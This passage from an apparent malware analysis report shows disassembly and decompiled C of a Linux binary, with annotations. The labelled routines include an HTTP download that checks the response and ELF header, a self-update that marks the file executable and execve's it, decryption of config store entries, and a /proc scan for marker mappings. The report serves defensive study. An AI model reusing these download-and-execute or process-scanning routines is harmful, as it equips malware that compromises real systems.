0040be614c 89 e7MOV RDI,R12
0040be64e8 09 83 00 00CALL FUN_00414172
0040be69e9 d0 03 00 00JMP LAB_0040c23e
LAB_0040be6e:
0040be6e4c 89 e7MOV RDI,R12
0040be714c 8d a4 24 cc 00 00 00LEA R12,[RSP + 0xcc]
0040be79e8 f4 82 00 00CALL FUN_00414172
0040be7e4c 8d 44 24 4cLEA R8,[RSP + 0x4c]
0040be8331 d2XOR EDX,EDX
0040be854c 89 e7MOV RDI,R12
0040be88b9 c3 01 00 00MOV ECX,0x1c3
0040be8dbe 00 02 00 00MOV ESI,0x200
0040be9231 c0XOR EAX,EAX
0040be94e8 14 f5 ff ffCALL FUN_0040b3ad
0040be994c 8b 44 24 28MOV R8,qword ptr [RSP + 0x28]
0040be9eb9 ba 01 00 00MOV ECX,0x1ba
0040bea34c 89 e7MOV RDI,R12
0040bea689 c2MOV EDX,EAX
0040bea8be 00 02 00 00MOV ESI,0x200
0040bead31 c0XOR EAX,EAX
0040beafe8 f9 f4 ff ffCALL FUN_0040b3ad
0040beb4b9 cc 01 00 00MOV ECX,0x1cc
0040beb9be 00 02 00 00MOV ESI,0x200
0040bebe4c 89 e7MOV RDI,R12
0040bec189 c2MOV EDX,EAX
0040bec331 c0XOR EAX,EAX
0040bec5e8 e3 f4 ff ffCALL FUN_0040b3ad
0040becab9 ce 01 00 00MOV ECX,0x1ce
0040becfbe 00 02 00 00MOV ESI,0x200
0040bed44c 89 e7MOV RDI,R12
0040bed789 c2MOV EDX,EAX
0040bed931 c0XOR EAX,EAX
0040bedbe8 cd f4 ff ffCALL FUN_0040b3ad
0040bee08d 50 ffLEA EDX,[RAX + -0x1]
0040bee381 fa fe 01 00 00CMP EDX,0x1fe
0040bee977 36JA LAB_0040bf21
0040beeb48 63 d8MOVSXD RBX,EAX
0040beeeb9 00 40 00 00MOV ECX,0x4000
0040bef34c 89 e6MOV RSI,R12
0040bef689 efMOV EDI,EBP
0040bef848 89 daMOV RDX,RBX
0040befbe8 a3 fc 00 00CALL FUN_0041bba3
0040bf0048 39 d8CMP RAX,RBX
0040bf0375 1cJNZ LAB_0040bf21
0040bf0548 8b 3c 24MOV RDI,qword ptr [RSP]
0040bf09ba c0 01 00 00MOV EDX,0x1c0
0040bf0ebe 41 02 00 00MOV ESI,0x241
0040bf1331 c0XOR EAX,EAX
0040bf15e8 ab be 00 00CALL FUN_00417dc5
0040bf1a41 89 c4MOV R12D,EAX
0040bf1d85 c0TEST EAX,EAX
0040bf1f79 0cJNS LAB_0040bf2d
LAB_0040bf21:
0040bf2189 efMOV EDI,EBP
0040bf23e8 19 1c 01 00CALL FUN_0041db41
0040bf28e9 11 03 00 00JMP LAB_0040c23e
LAB_0040bf2d:
0040bf2dc7 44 24 14 00 00 00 00MOV dword ptr [RSP + 0x14],0x0
0040bf3545 31 f6XOR R14D,R14D
0040bf3845 31 c0XOR R8D,R8D
0040bf3b83 cb ffOR EBX,0xffffffff
0040bf3e48 c7 44 24 18 00 00 00 …MOV qword ptr [RSP + 0x18],0x0
LAB_0040bf47:
0040bf4731 c9XOR ECX,ECX
0040bf49ba 00 10 00 00MOV EDX,0x1000
0040bf4e89 efMOV EDI,EBP
0040bf504c 89 44 24 38MOV qword ptr [RSP + 0x38],R8
0040bf5548 8d b4 24 cc 02 00 00LEA RSI,[RSP + 0x2cc]
0040bf5d48 89 74 24 08MOV qword ptr [RSP + 0x8],RSI
0040bf62e8 85 f1 00 00CALL FUN_0041b0ec
0040bf6748 8b 74 24 08MOV RSI,qword ptr [RSP + 0x8]
0040bf6c4c 8b 44 24 38MOV R8,qword ptr [RSP + 0x38]
0040bf7185 c0TEST EAX,EAX
0040bf7348 89 c1MOV RCX,RAX
0040bf760f 8e 47 02 00 00JLE LAB_0040c1c3
0040bf7c45 85 f6TEST R14D,R14D
0040bf7f4c 63 e9MOVSXD R13,ECX
0040bf820f 85 d9 01 00 00JNZ LAB_0040c161
0040bf884b 8d 44 05 00LEA RAX,[R13 + R8*0x1]
0040bf8d48 89 44 24 08MOV qword ptr [RSP + 0x8],RAX
0040bf9248 3d ff 1f 00 00CMP RAX,0x1fff
0040bf980f 87 25 02 00 00JA LAB_0040c1c3
0040bf9e4c 8d 8c 24 cc 12 00 00LEA R9,[RSP + 0x12cc]
0040bfa644 89 e9MOV ECX,R13D
0040bfa94d 01 c8ADD R8,R9
0040bfac4c 89 c7MOV RDI,R8
0040bfaff3 a4MOVSB.REP RDI,RSI
0040bfb1bf ce 01 00 00MOV EDI,0x1ce
0040bfb6c6 84 04 cc 12 00 00 00MOV byte ptr [RSP + RAX*0x1 + 0x12cc],0x0
0040bfbee8 15 f2 ff ffCALL FUN_0040b1d8
0040bfc348 89 c6MOV RSI,RAX
0040bfc648 85 c0TEST RAX,RAX
0040bfc90f 84 ea 01 00 00JZ LAB_0040c1b9
0040bfcf4c 89 cfMOV RDI,R9
0040bfd2e8 69 15 01 00CALL FUN_0041d540
0040bfd749 89 c5MOV R13,RAX
0040bfda48 85 c0TEST RAX,RAX
0040bfdd0f 84 d6 01 00 00JZ LAB_0040c1b9
0040bfe3c6 00 00MOV byte ptr [RAX],0x0
0040bfe6bf ce 01 00 00MOV EDI,0x1ce
0040bfebe8 e8 f1 ff ffCALL FUN_0040b1d8
0040bff0ba 04 00 00 00MOV EDX,0x4
0040bff548 89 c7MOV RDI,RAX
0040bff848 85 c0TEST RAX,RAX
0040bffb74 08JZ LAB_0040c005
0040bffde8 fe 0e 01 00CALL FUN_0041cf00
0040c00248 63 d0MOVSXD RDX,EAX
LAB_0040c005:
0040c00548 8b 1d e4 26 22 00MOV RBX,qword ptr [DAT_0062e6f0]
0040c00c49 01 d5ADD R13,RDX
0040c00f4c 8d b4 24 cc 12 00 00LEA R14,[RSP + 0x12cc]
LAB_0040c017:
0040c01741 80 3e 00CMP byte ptr [R14],0x0
0040c01b0f 84 b4 00 00 00JZ LAB_0040c0d5
0040c02148 8d 35 24 ae 01 00LEA RSI,[DAT_00426e4c]
0040c0284c 89 f7MOV RDI,R14
0040c02be8 10 15 01 00CALL FUN_0041d540
0040c03048 89 c1MOV RCX,RAX
0040c03348 85 c0TEST RAX,RAX
0040c0360f 84 99 00 00 00JZ LAB_0040c0d5
0040c03c48 89 c6MOV RSI,RAX
0040c03f4c 29 f6SUB RSI,R14
0040c04248 83 fe 0eCMP RSI,0xe
0040c04676 75JBE LAB_0040c0bd
0040c048bf bd 01 00 00MOV EDI,0x1bd
0040c04de8 86 f1 ff ffCALL FUN_0040b1d8
0040c05249 89 c0MOV R8,RAX
0040c05548 85 c0TEST RAX,RAX
0040c05874 63JZ LAB_0040c0bd
0040c05a48 85 dbTEST RBX,RBX
0040c05d74 5eJZ LAB_0040c0bd
0040c05f48 63 93 d8 1b 00 00MOVSXD RDX,dword ptr [RBX + 0x1bd8]
0040c06685 d2TEST EDX,EDX
0040c0687e 53JLE LAB_0040c0bd
0040c06a48 39 d6CMP RSI,RDX
0040c06d72 4eJC LAB_0040c0bd
0040c06f31 c0XOR EAX,EAX
LAB_0040c071:
0040c07141 0f b6 3c 06MOVZX EDI,byte ptr [R14 + RAX*0x1]
0040c07641 0f b6 34 00MOVZX ESI,byte ptr [R8 + RAX*0x1]
0040c07b44 8d 4f bfLEA R9D,[RDI + -0x41]
0040c07f41 83 f9 19CMP R9D,0x19
0040c08377 03JA LAB_0040c088
0040c08583 c7 20ADD EDI,0x20
LAB_0040c088:
0040c08844 8d 4e bfLEA R9D,[RSI + -0x41]
0040c08c41 83 f9 19CMP R9D,0x19
0040c09077 03JA LAB_0040c095
0040c09283 c6 20ADD ESI,0x20
LAB_0040c095:
0040c09539 f7CMP EDI,ESI
0040c09775 24JNZ LAB_0040c0bd
0040c09948 ff c0INC RAX
0040c09c48 39 c2CMP RDX,RAX
0040c09f77 d0JA LAB_0040c071
0040c0a149 8d 7e 0fLEA RDI,[R14 + 0xf]
LAB_0040c0a5:
0040c0a58a 07MOV AL,byte ptr [RDI]
0040c0a73c 20CMP AL,0x20
0040c0a975 05JNZ LAB_0040c0b0
LAB_0040c0ab:
0040c0ab48 ff c7INC RDI
0040c0aeeb f5JMP LAB_0040c0a5
LAB_0040c0b0:
0040c0b03c 09CMP AL,0x9
0040c0b274 f7JZ LAB_0040c0ab
0040c0b4e8 1b 0a 01 00CALL FUN_0041cad4
0040c0b989 c3MOV EBX,EAX
0040c0bbeb 1bJMP LAB_0040c0d8
LAB_0040c0bd:
0040c0bd80 79 02 0dCMP byte ptr [RCX + 0x2],0xd
0040c0c14c 8d 71 02LEA R14,[RCX + 0x2]
0040c0c50f 85 4c ff ff ffJNZ LAB_0040c017
0040c0cb80 79 03 0aCMP byte ptr [RCX + 0x3],0xa
0040c0cf0f 85 42 ff ff ffJNZ LAB_0040c017
LAB_0040c0d5:
0040c0d583 cb ffOR EBX,0xffffffff
LAB_0040c0d8:
0040c0d8bf cd 01 00 00MOV EDI,0x1cd
0040c0dde8 f6 f0 ff ffCALL FUN_0040b1d8
0040c0e248 89 c6MOV RSI,RAX
0040c0e548 85 c0TEST RAX,RAX
0040c0e80f 84 97 00 00 00JZ LAB_0040c185
0040c0ee4c 8d b4 24 cc 12 00 00LEA R14,[RSP + 0x12cc]
0040c0f6ba 07 00 00 00MOV EDX,0x7
0040c0fb4c 89 f7MOV RDI,R14
0040c0fee8 cd 0e 01 00CALL FUN_0041cfd0
0040c10385 c0TEST EAX,EAX
0040c10575 7eJNZ LAB_0040c185
0040c10780 bc 24 d5 12 00 00 32CMP byte ptr [RSP + 0x12d5],0x32
0040c10f75 74JNZ LAB_0040c185
0040c11180 bc 24 d6 12 00 00 30CMP byte ptr [RSP + 0x12d6],0x30
0040c11975 6aJNZ LAB_0040c185
0040c11b80 bc 24 d7 12 00 00 30CMP byte ptr [RSP + 0x12d7],0x30
0040c12375 60JNZ LAB_0040c185
0040c1254c 89 e8MOV RAX,R13
0040c1284c 29 f0SUB RAX,R14
0040c12b44 8b 74 24 08MOV R14D,dword ptr [RSP + 0x8]
0040c13041 29 c6SUB R14D,EAX
0040c13345 85 f6TEST R14D,R14D
0040c1367e 7bJLE LAB_0040c1b3
0040c13849 63 d6MOVSXD RDX,R14D
0040c13b4c 89 eeMOV RSI,R13
0040c13e44 89 e7MOV EDI,R12D
0040c14148 89 54 24 38MOV qword ptr [RSP + 0x38],RDX
0040c146e8 8a 1c 01 00CALL FUN_0041ddd5
0040c14b48 8b 54 24 38MOV RDX,qword ptr [RSP + 0x38]
0040c15048 39 d0CMP RAX,RDX
0040c15375 30JNZ LAB_0040c185
0040c15544 01 74 24 14ADD dword ptr [RSP + 0x14],R14D
0040c15a48 01 44 24 18ADD qword ptr [RSP + 0x18],RAX
0040c15feb 52JMP LAB_0040c1b3
LAB_0040c161:
0040c1614c 89 eaMOV RDX,R13
0040c16444 89 e7MOV EDI,R12D
0040c16748 89 4c 24 38MOV qword ptr [RSP + 0x38],RCX
0040c16c4c 89 44 24 08MOV qword ptr [RSP + 0x8],R8
0040c171e8 5f 1c 01 00CALL FUN_0041ddd5
0040c1764c 8b 44 24 08MOV R8,qword ptr [RSP + 0x8]
0040c17b48 8b 4c 24 38MOV RCX,qword ptr [RSP + 0x38]
0040c1804c 39 e8CMP RAX,R13
0040c18374 14JZ LAB_0040c199
LAB_0040c185:
0040c18544 89 e7MOV EDI,R12D
0040c188e8 b4 19 01 00CALL FUN_0041db41
0040c18d89 efMOV EDI,EBP
0040c18fe8 ad 19 01 00CALL FUN_0041db41
0040c194e9 9c 00 00 00JMP LAB_0040c235
LAB_0040c199:
0040c19901 4c 24 14ADD dword ptr [RSP + 0x14],ECX
0040c19d48 01 44 24 18ADD qword ptr [RSP + 0x18],RAX
0040c1a285 dbTEST EBX,EBX
0040c1a47e 06JLE LAB_0040c1ac
0040c1a639 5c 24 14CMP dword ptr [RSP + 0x14],EBX
0040c1aa7d 17JGE LAB_0040c1c3
LAB_0040c1ac:
0040c1ac4c 89 44 24 08MOV qword ptr [RSP + 0x8],R8
0040c1b1eb 06JMP LAB_0040c1b9
LAB_0040c1b3:
0040c1b341 be 01 00 00 00MOV R14D,0x1
LAB_0040c1b9:
0040c1b94c 8b 44 24 08MOV R8,qword ptr [RSP + 0x8]
0040c1bee9 84 fd ff ffJMP LAB_0040bf47
LAB_0040c1c3:
0040c1c344 89 e7MOV EDI,R12D
0040c1c6e8 76 19 01 00CALL FUN_0041db41
0040c1cb89 efMOV EDI,EBP
0040c1cde8 6f 19 01 00CALL FUN_0041db41
0040c1d245 85 f6TEST R14D,R14D
0040c1d574 67JZ LAB_0040c23e
0040c1d748 81 7c 24 18 ff 0f 00 …CMP qword ptr [RSP + 0x18],0xfff
0040c1e07e 5cJLE LAB_0040c23e
0040c1e248 8b 3c 24MOV RDI,qword ptr [RSP]
0040c1e631 f6XOR ESI,ESI
0040c1e831 c0XOR EAX,EAX
0040c1eae8 d6 bb 00 00CALL FUN_00417dc5
0040c1ef89 c5MOV EBP,EAX
0040c1f185 c0TEST EAX,EAX
0040c1f378 49JS LAB_0040c23e
0040c1f589 c7MOV EDI,EAX
0040c1f748 8d 74 24 48LEA RSI,[RSP + 0x48]
0040c1fcba 04 00 00 00MOV EDX,0x4
0040c201e8 d0 1a 01 00CALL FUN_0041dcd6
0040c20689 efMOV EDI,EBP
0040c20848 89 c3MOV RBX,RAX
0040c20be8 31 19 01 00CALL FUN_0041db41
0040c21083 fb 04CMP EBX,0x4
0040c21375 20JNZ LAB_0040c235
0040c21580 7c 24 48 7fCMP byte ptr [RSP + 0x48],0x7f
0040c21a75 19JNZ LAB_0040c235
0040c21c80 7c 24 49 45CMP byte ptr [RSP + 0x49],0x45
0040c22175 12JNZ LAB_0040c235
0040c22380 7c 24 4a 4cCMP byte ptr [RSP + 0x4a],0x4c
0040c22875 0bJNZ LAB_0040c235
0040c22a80 7c 24 4b 46CMP byte ptr [RSP + 0x4b],0x46
0040c22f0f 84 9e 01 00 00JZ LAB_0040c3d3
LAB_0040c235:
0040c23548 8b 3c 24MOV RDI,qword ptr [RSP]
0040c239e8 55 1b 01 00CALL FUN_0041dd93
LAB_0040c23e:
0040c23e48 8b 3c 24MOV RDI,qword ptr [RSP]
0040c242e8 4c 1b 01 00CALL FUN_0041dd93
LAB_0040c247:
0040c247ff 44 24 24INC dword ptr [RSP + 0x24]
0040c24b49 81 c7 04 10 00 00ADD R15,0x1004
0040c252e9 c1 fa ff ffJMP LAB_0040bd18
LAB_0040c257:
0040c25780 bc 24 cc 12 00 00 00CMP byte ptr [RSP + 0x12cc],0x0
0040c25f0f 84 bb f8 ff ffJZ LAB_0040bb20
0040c2654c 89 e6MOV RSI,R12
0040c268bf 5e 01 00 00MOV EDI,0x15e
0040c26de8 9c ef ff ffCALL FUN_0040b20e
0040c27285 c0TEST EAX,EAX
0040c2740f 85 a6 f8 ff ffJNZ LAB_0040bb20
0040c27a4c 89 e6MOV RSI,R12
0040c27dbf 62 01 00 00MOV EDI,0x162
0040c282e8 87 ef ff ffCALL FUN_0040b20e
0040c28785 c0TEST EAX,EAX
0040c2890f 85 91 f8 ff ffJNZ LAB_0040bb20
0040c28f4c 89 e6MOV RSI,R12
0040c292bf 63 01 00 00MOV EDI,0x163
0040c297e8 72 ef ff ffCALL FUN_0040b20e
0040c29c85 c0TEST EAX,EAX
0040c29e0f 85 7c f8 ff ffJNZ LAB_0040bb20
0040c2a4bf 69 01 00 00MOV EDI,0x169
0040c2a9e8 2a ef ff ffCALL FUN_0040b1d8
0040c2aebf 6a 01 00 00MOV EDI,0x16a
0040c2b348 89 c6MOV RSI,RAX
0040c2b6e8 1d ef ff ffCALL FUN_0040b1d8
0040c2bbbf 6b 01 00 00MOV EDI,0x16b
0040c2c049 89 c7MOV R15,RAX
0040c2c3e8 10 ef ff ffCALL FUN_0040b1d8
0040c2c848 89 c3MOV RBX,RAX
0040c2cb48 85 f6TEST RSI,RSI
0040c2ce74 11JZ LAB_0040c2e1
0040c2d048 89 efMOV RDI,RBP
0040c2d3e8 68 12 01 00CALL FUN_0041d540
0040c2d848 85 c0TEST RAX,RAX
0040c2db0f 85 3f f8 ff ffJNZ LAB_0040bb20
LAB_0040c2e1:
0040c2e14d 85 ffTEST R15,R15
0040c2e474 14JZ LAB_0040c2fa
0040c2e64c 89 feMOV RSI,R15
0040c2e948 89 efMOV RDI,RBP
0040c2ece8 4f 12 01 00CALL FUN_0041d540
0040c2f148 85 c0TEST RAX,RAX
0040c2f40f 85 26 f8 ff ffJNZ LAB_0040bb20
LAB_0040c2fa:
0040c2fa48 85 dbTEST RBX,RBX
0040c2fd74 3eJZ LAB_0040c33d
0040c2ff80 3b 2cCMP byte ptr [RBX],0x2c
0040c30275 39JNZ LAB_0040c33d
0040c3044c 8d 7b 01LEA R15,[RBX + 0x1]
0040c30848 89 efMOV RDI,RBP
0040c30b4c 89 feMOV RSI,R15
0040c30ee8 4d 0b 01 00CALL FUN_0041ce60
0040c31385 c0TEST EAX,EAX
0040c3150f 84 05 f8 ff ffJZ LAB_0040bb20
0040c31bba 02 00 00 00MOV EDX,0x2
0040c3204c 89 feMOV RSI,R15
0040c32348 89 efMOV RDI,RBP
0040c326e8 a5 0c 01 00CALL FUN_0041cfd0
0040c32b85 c0TEST EAX,EAX
0040c32d75 0eJNZ LAB_0040c33d
0040c32f80 bc 24 ce 00 00 00 2cCMP byte ptr [RSP + 0xce],0x2c
0040c3370f 84 e3 f7 ff ffJZ LAB_0040bb20
LAB_0040c33d:
0040c33d48 8d 35 00 ab 01 00LEA RSI,[DAT_00426e44]
0040c34448 89 efMOV RDI,RBP
0040c347e8 f4 11 01 00CALL FUN_0041d540
0040c34c48 85 c0TEST RAX,RAX
0040c34f75 4aJNZ LAB_0040c39b
0040c3514c 8d 3d f0 aa 01 00LEA R15,[DAT_00426e48]
0040c35848 89 efMOV RDI,RBP
0040c35b4c 89 feMOV RSI,R15
0040c35ee8 dd 11 01 00CALL FUN_0041d540
0040c36348 85 c0TEST RAX,RAX
0040c36675 33JNZ LAB_0040c39b
0040c368ba 03 00 00 00MOV EDX,0x3
0040c36d4c 89 feMOV RSI,R15
0040c37048 89 efMOV RDI,RBP
0040c373e8 58 0c 01 00CALL FUN_0041cfd0
0040c37885 c0TEST EAX,EAX
0040c37a74 1fJZ LAB_0040c39b
0040c37c48 85 dbTEST RBX,RBX
0040c37f74 1aJZ LAB_0040c39b
0040c38180 3b 2cCMP byte ptr [RBX],0x2c
0040c38475 15JNZ LAB_0040c39b
0040c38648 8d 73 01LEA RSI,[RBX + 0x1]
0040c38a48 89 efMOV RDI,RBP
0040c38de8 ae 11 01 00CALL FUN_0041d540
0040c39248 85 c0TEST RAX,RAX
0040c3950f 85 85 f7 ff ffJNZ LAB_0040bb20
LAB_0040c39b:
0040c39b4c 89 f6MOV RSI,R14
0040c39ebf 7d 01 00 00MOV EDI,0x17d
0040c3a3e8 66 ee ff ffCALL FUN_0040b20e
0040c3a84c 89 e7MOV RDI,R12
0040c3ab83 f8 01CMP EAX,0x1
0040c3ae19 dbSBB EBX,EBX
0040c3b0e8 a0 ee ff ffCALL FUN_0040b255
0040c3b583 e3 ceAND EBX,0xffffffce
0040c3b848 8d bc 24 cc 32 00 00LEA RDI,[RSP + 0x32cc]
0040c3c04c 89 e6MOV RSI,R12
0040c3c383 c3 50ADD EBX,0x50
0040c3c68d 14 18LEA EDX,[RAX + RBX*0x1]
0040c3c9e8 b3 f1 ff ffCALL FUN_0040b581
0040c3cee9 4d f7 ff ffJMP LAB_0040bb20
LAB_0040c3d3:
0040c3d38b 44 24 20MOV EAX,dword ptr [RSP + 0x20]
0040c3d748 81 c4 d8 33 04 00ADD RSP,0x433d8
0040c3de5bPOP RBX
0040c3df5dPOP RBP
0040c3e041 5cPOP R12
0040c3e241 5dPOP R13
0040c3e441 5ePOP R14
0040c3e641 5fPOP R15
0040c3e8c3RET

self-update

0x40c42a253 bytes
undefined FUN_0040c42a()

self-update: download to a store path, chmod 0755, execve

Cited as
E13
Behaviours
B9
Called from
FUN_0040c527
Calls
FUN_0040b5d3, FUN_0040b89c, FUN_00413ae0, FUN_0041bdca, FUN_0041c14d, FUN_0041d090
Decompiled C · 53 lines
void FUN_0040c42a(char *param_1)

{
  int iVar1;
  long lVar2;
  ulong uVar3;
  undefined1 *puVar4;
  undefined1 *puVar5;
  byte bVar6;
  undefined1 local_10c0 [16];
  undefined1 *local_10b0;
  char *local_10a8;
  undefined8 local_10a0;
  undefined1 local_1098 [128];
  undefined1 local_1018 [4096];
  
  bVar6 = 0;
  iVar1 = FUN_0040b5d3(local_10c0,0x10);
  if ((((iVar1 != 0) && (DAT_0062e6f0 != 0)) &&
      (*(undefined1 **)(DAT_0062e6f0 + 0x1130) != (undefined1 *)0x0)) &&
     (uVar3 = (ulong)*(uint *)(DAT_0062e6f0 + 0x1138), *(uint *)(DAT_0062e6f0 + 0x1138) - 1 < 0x7f))
  {
    puVar4 = *(undefined1 **)(DAT_0062e6f0 + 0x1130);
    puVar5 = local_1098;
    for (; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar5 = *puVar4;
      puVar4 = puVar4 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    local_1098[*(int *)(DAT_0062e6f0 + 0x1138)] = 0;
    iVar1 = FUN_0040b89c(local_1098,local_10c0,local_1018);
    if (iVar1 == 0) {
      iVar1 = FUN_0041c14d(local_1018,0x1ed);
      if (iVar1 == 0) {
        if ((param_1 == (char *)0x0) || (*param_1 == '\0')) {
          param_1 = "l";
        }
        lVar2 = FUN_0041d090(local_1018,0x2f);
        local_10b0 = local_1018;
        if (lVar2 != 0) {
          local_10b0 = (undefined1 *)(lVar2 + 1);
        }
        local_10a0 = 0;
        local_10a8 = param_1;
        FUN_00413ae0();
        FUN_0041bdca(local_1018,&local_10b0,DAT_006bc6c0);
      }
    }
  }
  return;
}

Assembly · 63 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0040c42a41 54PUSH R12; E13
0040c42cbe 10 00 00 00MOV ESI,0x10
0040c43155PUSH RBP
0040c43253PUSH RBX
0040c43348 89 fbMOV RBX,RDI
0040c43648 81 ec b0 10 00 00SUB RSP,0x10b0
0040c43d4c 8d 64 24 08LEA R12,[RSP + 0x8]
0040c4424c 89 e7MOV RDI,R12
0040c445e8 89 f1 ff ffCALL FUN_0040b5d3
0040c44a85 c0TEST EAX,EAX
0040c44c0f 84 c9 00 00 00JZ LAB_0040c51b
0040c45248 8b 05 97 22 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040c45948 85 c0TEST RAX,RAX
0040c45c0f 84 b9 00 00 00JZ LAB_0040c51b
0040c46248 8b b0 30 11 00 00MOV RSI,qword ptr [RAX + 0x1130]
0040c46948 85 f6TEST RSI,RSI
0040c46c0f 84 a9 00 00 00JZ LAB_0040c51b
0040c4728b 88 38 11 00 00MOV ECX,dword ptr [RAX + 0x1138]
0040c4788d 51 ffLEA EDX,[RCX + -0x1]
0040c47b83 fa 7eCMP EDX,0x7e
0040c47e0f 87 97 00 00 00JA LAB_0040c51b
0040c4844c 8d 44 24 30LEA R8,[RSP + 0x30]
0040c48948 8d ac 24 b0 00 00 00LEA RBP,[RSP + 0xb0]
0040c4914c 89 c7MOV RDI,R8
0040c49448 89 eaMOV RDX,RBP
0040c497f3 a4MOVSB.REP RDI,RSI
0040c4994c 89 e6MOV RSI,R12
0040c49c4c 89 c7MOV RDI,R8
0040c49f48 63 80 38 11 00 00MOVSXD RAX,dword ptr [RAX + 0x1138]
0040c4a6c6 44 04 30 00MOV byte ptr [RSP + RAX*0x1 + 0x30],0x0
0040c4abe8 ec f3 ff ffCALL FUN_0040b89c
0040c4b085 c0TEST EAX,EAX
0040c4b275 67JNZ LAB_0040c51b
0040c4b4be ed 01 00 00MOV ESI,0x1ed
0040c4b948 89 efMOV RDI,RBP
0040c4bce8 8c fc 00 00CALL FUN_0041c14d
0040c4c185 c0TEST EAX,EAX
0040c4c375 56JNZ LAB_0040c51b
0040c4c548 85 dbTEST RBX,RBX
0040c4c874 05JZ LAB_0040c4cf
0040c4ca80 3b 00CMP byte ptr [RBX],0x0
0040c4cd75 07JNZ LAB_0040c4d6
LAB_0040c4cf:
0040c4cf48 8d 1d 85 ab 01 00LEA RBX,[DAT_0042705b]
LAB_0040c4d6:
0040c4d6be 2f 00 00 00MOV ESI,0x2f
0040c4db48 89 efMOV RDI,RBP
0040c4dee8 ad 0b 01 00CALL FUN_0041d090
0040c4e348 89 eaMOV RDX,RBP
0040c4e648 85 c0TEST RAX,RAX
0040c4e974 04JZ LAB_0040c4ef
0040c4eb48 8d 50 01LEA RDX,[RAX + 0x1]
LAB_0040c4ef:
0040c4ef48 89 54 24 18MOV qword ptr [RSP + local_10b0],RDX
0040c4f448 89 5c 24 20MOV qword ptr [RSP + local_10a8],RBX
0040c4f948 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_10a0],0x0
0040c502e8 d9 75 00 00CALL FUN_00413ae0
0040c50748 8b 15 b2 01 2b 00MOV RDX,qword ptr [DAT_006bc6c0]
0040c50e48 8d 74 24 18LEA RSI,[RSP + 0x18]
0040c51348 89 efMOV RDI,RBP
0040c516e8 af f8 00 00CALL FUN_0041bdca
LAB_0040c51b:
0040c51b48 81 c4 b0 10 00 00ADD RSP,0x10b0
0040c5225bPOP RBX
0040c5235dPOP RBP
0040c52441 5cPOP R12
0040c526c3RET

returns the decrypted store entry for a…

0x40c60754 bytes
undefined FUN_0040c607()

returns the decrypted store entry for a slot id

Cited as
E2
Behaviours
B1
Called from
FUN_0040c6c1, FUN_0040c6f4, FUN_0040c8fe
Calls
none
Decompiled C · 20 lines
long FUN_0040c607(uint param_1)

{
  long lVar1;
  long *plVar2;
  
  if ((param_1 < 0x1dc) && (DAT_0062e6f0 != 0)) {
    plVar2 = (long *)(DAT_0062e6f0 + (ulong)param_1 * 0x10);
    lVar1 = *plVar2;
    if (lVar1 != 0) {
      if ((int)plVar2[1] < 1) {
        lVar1 = 0;
      }
      return lVar1;
    }
  }
  return 0;
}

Assembly · 17 instructions, 0 annotated
AddressBytesInstructionComment
0040c60748 8b 15 e2 20 22 00MOV RDX,qword ptr [DAT_0062e6f0]
0040c60e81 ff db 01 00 00CMP EDI,0x1db
0040c61477 24JA LAB_0040c63a
0040c61648 85 d2TEST RDX,RDX
0040c61974 1fJZ LAB_0040c63a
0040c61b89 ffMOV EDI,EDI
0040c61d48 c1 e7 04SHL RDI,0x4
0040c62148 01 faADD RDX,RDI
0040c62448 8b 02MOV RAX,qword ptr [RDX]
0040c62748 85 c0TEST RAX,RAX
0040c62a74 10JZ LAB_0040c63c
0040c62c83 7a 08 00CMP dword ptr [RDX + 0x8],0x0
0040c630ba 00 00 00 00MOV EDX,0x0
0040c63548 0f 4e c2CMOVLE RAX,RDX
0040c639c3RET
LAB_0040c63a:
0040c63a31 c0XOR EAX,EAX
LAB_0040c63c:
0040c63cc3RET

maps a marker fd 0x1000 bytes PROT_READ…

0x40c63d54 bytes
undefined FUN_0040c63d()

maps a marker fd 0x1000 bytes PROT_READ MAP_PRIVATE into 0x62bdc0

Cited as
E33
Behaviours
B2
Called from
FUN_0040c673, FUN_0040c8fe
Calls
FUN_0041951f
Decompiled C · 20 lines
undefined1  [16]
FUN_0040c63d(undefined4 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  long lVar1;
  undefined8 uVar2;
  undefined1 auVar3 [16];
  
  lVar1 = FUN_0041951f(0,0x1000,1,2,param_1,0);
  uVar2 = 0xffffffff;
  if (lVar1 != -1) {
    uVar2 = 0;
    DAT_0062bdc0 = lVar1;
  }
  auVar3._8_8_ = param_4;
  auVar3._0_8_ = uVar2;
  return auVar3;
}

Assembly · 16 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0040c63d51PUSH RCX; E33
0040c63e41 89 f8MOV R8D,EDI
0040c64145 31 c9XOR R9D,R9D
0040c644b9 02 00 00 00MOV ECX,0x2
0040c649ba 01 00 00 00MOV EDX,0x1
0040c64ebe 00 10 00 00MOV ESI,0x1000
0040c65331 ffXOR EDI,EDI
0040c655e8 c5 ce 00 00CALL FUN_0041951f
0040c65a41 83 c8 ffOR R8D,0xffffffff
0040c65e48 83 f8 ffCMP RAX,-0x1
0040c66274 0aJZ LAB_0040c66e
0040c66448 89 05 55 f7 21 00MOV qword ptr [DAT_0062bdc0],RAX
0040c66b45 31 c0XOR R8D,R8D
LAB_0040c66e:
0040c66e44 89 c0MOV EAX,R8D
0040c6715aPOP RDX
0040c672c3RET

scans per-process /proc files for a…

0x40c6f4522 bytes
undefined FUN_0040c6f4()

scans per-process /proc files for a matching marker mapping and opens it

Cited as
E33
Behaviours
B2
Called from
FUN_0040c8fe
Calls
FUN_0040c607, FUN_0040c673, FUN_0040c6c1, FUN_0040d0a8, FUN_0040d0f8, FUN_0040d114, FUN_0040d152, FUN_00417776, FUN_0041779c, FUN_004177dd, FUN_00417dc5, FUN_0041c161, FUN_0041cad4, FUN_0041db41, FUN_0041dcd6
Decompiled C · 82 lines
undefined8 FUN_0040c6f4(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  undefined1 *puVar6;
  undefined8 uVar7;
  char *pcVar8;
  undefined1 auStack_20b8 [24];
  uint local_20a0;
  undefined1 local_2028 [4096];
  char local_1028 [4096];
  
  lVar2 = FUN_0040c607(0x15e);
  if ((lVar2 != 0) ||
     (((DAT_0062e6f0 != 0 && (lVar2 = *(long *)(DAT_0062e6f0 + 0xce0), lVar2 != 0)) &&
      (4 < *(int *)(DAT_0062e6f0 + 0xce8))))) {
